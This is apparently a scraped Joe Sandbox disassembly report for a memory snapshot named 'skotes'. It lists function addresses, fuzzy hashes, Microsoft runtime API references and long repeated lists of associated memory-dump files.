Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 64a7161c195ee751735ed9b7b811e75eb05b0070db0a45088e40bc1369b1d41d
Instruction ID: ecddbcfad3fb1d5bf2197800d07a68a925d08a8e37127997289cc3306b54230d
Opcode Fuzzy Hash: 64a7161c195ee751735ed9b7b811e75eb05b0070db0a45088e40bc1369b1d41d
Instruction Fuzzy Hash: 0081AD3190024DABDF169FE4CA91BFE7BB2AF45344F044098FE412B292C7768D15DBA1

Function 00AF2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00AF2982

Part of subcall function 00AF24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AF2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00AF29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00AF29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00AF29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00AF2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00AF2AD8

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 4bd8ceae0288e0d5c7068d106ff4b71418d45354b748a5f8b7cae4bf746f3914
Instruction ID: d9ee7e03e2e296fe0c62a046da8ed962859d518bf104cb09119c0229ad818b78
Opcode Fuzzy Hash: 4bd8ceae0288e0d5c7068d106ff4b71418d45354b748a5f8b7cae4bf746f3914
Instruction Fuzzy Hash: 4E71983090024DAFDF25DFA4C991BBEBBB2AF45344F044099FE416B2A2C7729D16DB61

Function 00AE2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00AE2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AE28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AE2913

Part of subcall function 00AE07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00AE080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00AE2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AE29DB

Part of subcall function 00AE07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AE07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AE29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AE2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00AE2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00AE2A7E

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: dfcd8df931dc080e6cb3d81a0ed2cf95c665f382ae8c3e4b503993d90c6ebc83
Instruction ID: bf771828ced7abff113fe120144e33925c20bfe96adddcdb2f95ad6e96d69561
Opcode Fuzzy Hash: dfcd8df931dc080e6cb3d81a0ed2cf95c665f382ae8c3e4b503993d90c6ebc83
Instruction Fuzzy Hash: 2181C171A0069A9FCB38DFAAD894ABDB7F9BF48310B24403DD445E7241DB306D86CB90

Function 00AE69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AE6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00AE6A51
List.LIBCONCRT ref: 00AE6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00AE6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00AE6AB9
List.LIBCONCRT ref: 00AE6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00AE6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AE6B20
List.LIBCONCRT ref: 00AE6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00AE6B68

Part of subcall function 00AE5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AE5EF7
Part of subcall function 00AE5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AE5F09

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: bd8a6edc0584ec0e65c37b2766b0b921997fd221b44183f898a8efd2c1c574b1
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 09515D70E00249AFDB08DF65C595BEDB3B8BF18384F1444B9E915AB282DB30AE44CB90

Function 00AF52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00AF53A0
type_info::operator==.LIBVCRUNTIME ref: 00AF53C7
___TypeMatch.LIBVCRUNTIME ref: 00AF54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00AF55AE
CallUnexpected.LIBVCRUNTIME ref: 00AF5650

Strings

csm, xrefs: 00AF534D
csm, xrefs: 00AF53FE
csm, xrefs: 00AF52E0

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 741bd5d0b0791020c46f28a308cd94e3a86c4ea3d62f9b57e4fef3e235b5324d
Instruction ID: 24e8955f1286fb126f21147afe9dec340503c1f1755a91ba3760931d69c82e21
Opcode Fuzzy Hash: 741bd5d0b0791020c46f28a308cd94e3a86c4ea3d62f9b57e4fef3e235b5324d
Instruction Fuzzy Hash: 15C16571C0060DAFCF19DFE8C9809BEBBB5AF18311F14415AFA156B212C371DA51CB91

Function 00AE7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00AE73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00AE73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00AE740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00AE7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE7440

Strings

ppVirtualProcessorRoots, xrefs: 00AE7438
count, xrefs: 00AE737E

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
